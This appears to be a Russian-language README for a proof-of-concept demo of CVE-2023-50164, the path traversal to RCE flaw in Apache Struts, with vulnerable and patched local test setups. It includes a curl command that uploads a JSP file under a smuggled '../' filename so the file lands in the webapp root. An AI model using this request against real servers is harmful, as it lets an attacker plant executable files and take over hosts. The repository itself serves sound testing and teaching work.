
Эксплойт, подтверждающий концепцию, для CVE-2023-50164 — уязвимости обхода пути в Apache Struts, приводящей к удалённому выполнению кода. Включает уязвимую и исправленную демонстрационные среды для тестирования и обучения.
Это доказательство концепции (PoC) для CVE-2023-50164, которая описывает новую уязвимость обхода пути, которая может привести к удаленному выполнению кода (RCE) в struts-core.
Для устранения проблемы рекомендуется обновиться до Struts 2.5.33 или Struts 6.3.0.2 и выше.
Этот репозиторий основан на отличной работе Henrik Plate, доступной здесь.
В этом проекте есть два профиля maven: vuln и no-vuln. По умолчанию используется vuln.
Чтобы запустить с уязвимостью RCE, выполните следующее:
mvn clean jetty:run -P vuln
Чтобы запустить без уязвимости RCE, выполните следующее:
mvn clean jetty:run -P no-vuln
Разница между двумя профилями в том, что vuln использует struts-core версии (которая содержит уязвимость обхода пути), а использует версии (которая не содержит уязвимость обхода пути).
6.3.0.1no-vulnstruts-core6.3.0.2Запустив профиль vuln, описанный выше, выполните следующее:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Вы сможете увидеть файл rogue.jsp в папке src/main/webapp и перейти к нему по адресу:
http://localhost:9999/struts-vuln-poc/rogue.jsp (вы увидите сообщение Ya been PWNED!).
Существует исправление кода, которое работает с более старыми версиями Struts, но по-прежнему настоятельно рекомендуется обновить версию Struts.
Чтобы протестировать исправление кода, выполните следующее:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Вы увидите сообщение об ошибке: Attempted path traversal attack
ПРИМЕЧАНИЕ: Если вы используете профиль no-vuln, вы не получите сообщение об ошибке от конечной точки /upload-no-vuln, даже если используете относительный путь, например: ../src/main/webapp/rogue.jsp, так как новая версия struts автоматически удаляет ссылки на относительные пути.